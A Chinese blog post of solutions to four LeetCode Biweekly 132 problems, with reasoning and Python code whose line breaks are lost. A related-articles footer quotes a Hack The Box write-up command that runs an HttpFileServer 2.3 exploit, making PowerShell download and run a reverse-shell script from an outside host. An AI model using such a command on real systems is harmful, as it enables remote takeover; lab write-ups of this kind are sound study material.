LeetCode 第132场双周赛个人题解

100324. 清除数字

原题链接

100324. 清除数字

思路分析

一次遍历,相当于用栈进行括号匹配的压入弹出

时间复杂度O(n)

AC代码

class Solution:def clearDigits(self, s: str) -> str:n = len(s)res = []cnt = 0for x in s:if str.isdigit(x):res.pop()else:res.append(x)return ''.join(res)

100297. 找到连续赢 K 场比赛的第一位玩家

原题链接

100297. 找到连续赢 K 场比赛的第一位玩家

思路分析

如果最大的人ma到达队头,那么以后的赢家都是ma

换句话讲,在ma到达队头前是否有人能够提前拿到k次胜利?

一次遍历即可

时间复杂度O(n)

AC代码

from sortedcontainers import SortedList
class Solution:def findWinningPlayer(self, skills: List[int], k: int) -> int:ma = max(skills)n = len(skills)idx = skills.index(ma)cur = tot = 0if idx == 0:return 0for i in range(1, idx + 1):if skills[i] < skills[cur]:tot += 1else:cur = itot = 1if tot == k:return curif i == idx:return idx

100331. 求出最长好子序列 I

原题链接

100331. 求出最长好子序列 I

思路分析

考虑O(n^2 k)暴力

定义状态f(i, j)为以nums[i]结尾,nums[x] != nums[x + 1]的x数量为j时的最大长度

那么O(N K)状态数,我们O(N)转移即可

我们每个状态f(i, j)遍历前面的f(x, j)来进行更新

nums[i] = nums[x],那么更新f(i, j)

如果nums[i] != nums[x],那么更新f(i, j + 1)

时间复杂度O(n^2 k)

AC代码

from sortedcontainers import SortedList
class Solution:def maximumLength(self, nums: List[int], k: int) -> int:n = len(nums)f = [[0] * (k + 1) for i in range(n)]for i in range(n):f[i][0] = 1res = 1for i in range(1, n):for j in range(k + 1):for x in range(i):if nums[x] == nums[i]:f[i][j] = max(f[i][j], f[x][j] + 1)res = max(res, f[i][j])elif j < k:f[i][j + 1] = max(f[i][j + 1], f[x][j] + 1)res = max(res, f[i][j + 1])return res

100327. 求出最长好子序列 II

原题链接

100327. 求出最长好子序列 II

思路分析

昨晚MLE了!!!!佛了,为什么2e6的空间都会被卡啊!!!

这个题的优化很好想,但是不理解为什么要卡空间

我们发现朴素转移就是找前面已经确定的第二维度的最大值来更新我们当前状态

我们直接开个数组记录即可, ma[i] 代表第二维为i的最大长度

但是我们发现我们不知道ma[i]对应的结尾数字,所以我们可以再维护一个数字,但是如果这样写的话有些麻烦,容易把自己绕进去

我们考虑维护两个东西,一个用哈希表same维护nums[i]结尾,第二维为j时的最大长度

一个用一维数组维护第二维为j的最大长度

更新:

用same[nums[i]][j]更新f[i][j]

用ma[j]更新f[i][j + 1]

这样逻辑似乎有漏洞但是不影响正确性

漏洞在于:用ma[j]更新f[i][j + 1]但是ma[j]可能就是以nums[i]结尾,但是我们注意到f[i][j + 1]一定大于等于f[i][j],因为从逻辑上[j + 1]的限制要小,所以长度可以更长,即使我们用ma[j] + 1更新f[i][j +1 ]也不会使得我们最终答案变得更大或更小

因为如果存在ma[j]对应的结尾数字和nums[i]相同,我们进行更新f[i][j]此时f[i][j - 1]必然会和f[i][j]相同的,如果存在ma[j]对应的结尾数字和nums[i]不同,我们更新出了更大的f[i][j]仍然满足f[i][j] >= f[i][j - 1]

时间复杂度: O(NK)

ps: 用Sortedlist维护卡空间我真的不理解

AC代码

class Solution:def maximumLength(self, nums: List[int], k: int) -> int:n = len(nums)f = [[0] * (k + 1) for _ in range(n)]same = defaultdict(list)ma = [0] * (k + 1)for i in range(n):f[i][0] = 1same[nums[i]] = [0] * (k + 1)for i in range(n):for j in range(k + 1):f[i][j] = max(f[i][j], same[nums[i]][j] + 1)if j < k:f[i][j + 1] = max(f[i][j + 1], ma[j] + 1)for j in range(k + 1):same[nums[i]][j] = max(same[nums[i]][j], f[i][j])ma[j] = max(ma[j], f[i][j])return max(ma)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/25148.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

你好GPT-4o——对GPT-4o发布的思考与看法

你好GPT-4o 前言 2024年5月13日&#xff0c;OpenAI官网发布了他们的新一代自然语言处理交互系统——GPT-4o。这是OpenAI继GPT4之后又一个新的旗舰模型。 GPT-4o&#xff08;“o”代表“omni”&#xff09;是迈向更自然的人机交互的一步——它接受文本、音频、图像和视频的任意…

单源最短路径算法 -- 迪杰斯科拉(Dijkstra)算法

1. 简介 迪杰斯科拉&#xff08;Dijkstra&#xff09;算法是一种用于在加权图中找到最短路径的经典算法。它是由荷兰计算机科学家Edsger Wybe Dijkstra在1956年首次提出的&#xff0c;并以他的名字命名。这个算法特别适合于解决单源最短路径问题&#xff0c;即计算图中一个顶点…

保姆级讲解 Redis的理论与实践

文章目录 Redis学习笔记一 、Redis简介1.1 什么是Redis1.2 NoSQL1.3 NoSQL的类别1.4 总结&#xff1a;1.5 Redis 描述1.6 Redis的特点1.7 Redis的应用场景1.8 Redis总结 二、Redis安装2.1 Redis官网2.2 Redis 安装2.3 安装gcc2.4 安装Redis2.5 安装到指定的位置 三 、Redis启动…

oracle dataguard 从库 MRP 进程的状态是 WAIT_FOR_GAP

因主库归档日志未备份直接删除后&#xff0c;从库不能更新&#xff0c;19c版本以上&#xff0c;之前未打补丁&#xff0c;使用 RECOVER STANDBY DATABASE FROM SERVICE PRM180;之后&#xff0c;在执行 alter database recover managed standby database using current logfil…

深入理解C语言:main函数的奥秘

在C语言中&#xff0c;main函数是每个程序的入口点&#xff0c;起着至关重要的作用。本文将深入探讨main函数的工作原理&#xff0c;包括其参数、返回值、以及如何从main启动程序的执行。通过实际代码示例&#xff0c;读者将更深入地理解main函数在C语言编程中的核心地位。 第一…

安装 JDK 17

安装包 百度网盘 提取码&#xff1a;6666 安装步骤 双击下载得到的安装包&#xff0c;开始安装&#xff1a; 正在安装&#xff1a; 安装完成&#xff1a; 安装路径下&#xff0c;多出来了很多新的内容。安装文件夹所包含的内容及作用&#xff1a; src 是 JDK 的源码包。类库…

正大国际期货:内盘与外盘的区别

内盘&#xff1a; 内盘通常指的是国内的期货市场或交易所&#xff0c;即在交易者所在国家内部进行交易的期货市场。 在中国&#xff0c;内盘通常是指中国国内的期货交易所&#xff0c;如上海期货交易所&#xff08;SHFE&#xff09;、大连商品交易所&#xff08;DCE&#xff…

【vue实战项目】通用管理系统:图表功能

目录 前言 1.概述 2.数据概览页 2.1.柱状图 2.2.折线图 2.3.地图 前言 本文是博主前端Vue实战系列中的一篇文章&#xff0c;本系列将会带大家一起从0开始一步步完整的做完一个小项目&#xff0c;让你找到Vue实战的技巧和感觉。 专栏地址&#xff1a; https://blog.csd…

Golang | Leetcode Golang题解之第134题加油站

题目&#xff1a; 题解&#xff1a; func canCompleteCircuit(gas []int, cost []int) int {for i, n : 0, len(gas); i < n; {sumOfGas, sumOfCost, cnt : 0, 0, 0for cnt < n {j : (i cnt) % nsumOfGas gas[j]sumOfCost cost[j]if sumOfCost > sumOfGas {break}…

openai 前员工释放出关于AGI的前世今生和未来发展趋势的详细报告

目录 1.引言2.AGI的临近3.投资与工业动员4.国家安全与AI竞赛5.技术挑战与机遇6.项目与政策7.结语8.原文PDF链接PS.扩展阅读ps1.六自由度机器人相关文章资源ps2.四轴机器相关文章资源ps3.移动小车相关文章资源 1.引言 2024年&#xff0c;我们站在了一个全新的科技前沿。在这篇文…

如何做好电子内窥镜的网络安全管理?

电子内窥镜作为一种常用的医疗器械&#xff0c;其网络安全管理对于保护患者隐私和医疗数据的安全至关重要。以下是一些基本原则和步骤&#xff0c;用于确保电子内窥镜的网络安全&#xff1a; 1. 数据加密 为了防止数据泄露&#xff0c;电子内窥镜在传输患者图像数据时应采取有…

Docker的资源限制

文章目录 一、什么是资源限制1、Docker的资源限制2、内核支持Linux功能3、OOM异常4、调整/设置进程OOM评分和优先级4.1、/proc/PID/oom_score_adj4.2、/proc/PID/oom_adj4.3、/proc/PID/oom_score 二、容器的内存限制1、实现原理2、命令格式及指令参数2.1、命令格式2.2、指令参…

htb-window-4-Optimum-HttpFileServer 2.3

nmap exploit-HttpFileServer 2.3 生成ps1反弹shell 模拟漏洞案例的请求 python 49125.py 10.10.10.8 80 "c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString(http://10.10.16.5/reverse.ps1)"获取flag s…

前端面试题日常练-day58 【面试题】

题目 希望这些选择题能够帮助您进行前端面试的准备&#xff0c;答案在文末 1. 在PHP中&#xff0c;以下哪个函数用于输出字符串到浏览器&#xff1f; a) echo() b) print() c) output() d) display() 2. PHP中的预定义变量$_GET用于获取什么类型的数据&#xff1f; a) 用户…

selenium-java自动化教程

文章目录 Selenium支持语言WebDriver 开始使用chromedriver模拟用户浏览访问模拟点击事件关闭弹窗&#xff0c;选中元素并点击 获取页面文本结语 Selenium Selenium是一个自动化测试工具&#xff0c;可以模拟用户操作web端浏览器的行为&#xff0c;包括点击、输入、选择等。也可…

深入理解Python:装饰器与闭包

深入理解Python:装饰器与闭包 在Python编程中,装饰器和闭包是两个非常有用的高级特性。装饰器允许我们在不修改函数或类定义的情况下扩展其功能,而闭包则使得函数能够捕获和保存其所在作用域的变量。本文将详细介绍装饰器和闭包的基本概念、使用方法以及它们在实际应用中的…

系统运行中数据库瓶颈的解决方案

数据库在系统运行中的重要性不言而喻。它不仅是数据存储的核心&#xff0c;更是数据操作和管理的枢纽。然而&#xff0c;随着系统的逐步扩展&#xff0c;数据库的性能瓶颈问题常常成为阻碍系统高效运行的瓶颈。本文将探讨在系统运行中&#xff0c;当数据库遇到瓶颈时的解决方案…

Linux---进程/磁盘管理

文章目录 目录 文章目录 一.Linux中进程的概念 二.显示系统执行的进程 2.1: ps 命令 2.2 top 命令 三.终止进程 四.磁盘分区 一.Linux中进程的概念 在Linux中&#xff0c;进程是指操作系统中正在执行的程序的实例。每个进程都由操作系统分配了独立的内存空间&#xff0c;用于…

共识算法之争(PBFT,Raft,PoW,PoS,DPoS)

文章目录 共识算法拜占庭容错技术&#xff08;Byzantine Fault Tolerance&#xff0c;BFT&#xff09;PBFT&#xff1a;Practical Byzantine Fault Tolerance&#xff0c;实用拜占庭容错算法Raft协议POW(Proof of Work)工作量证明机制POSDPoS&#xff08;Delegated Proof of St…

多关键字排序

成绩排序 查看测评数据信息 给出班里某门课程的成绩单&#xff0c;请你按成绩从高到低对成绩单排序输出&#xff0c;如果有相同分数则名字字典序小的在前。 输入格式 第一行为n (0 < n < 20)&#xff0c;表示班里的学生数目&#xff1b; 接下来的n行&#xff0c;每行为每…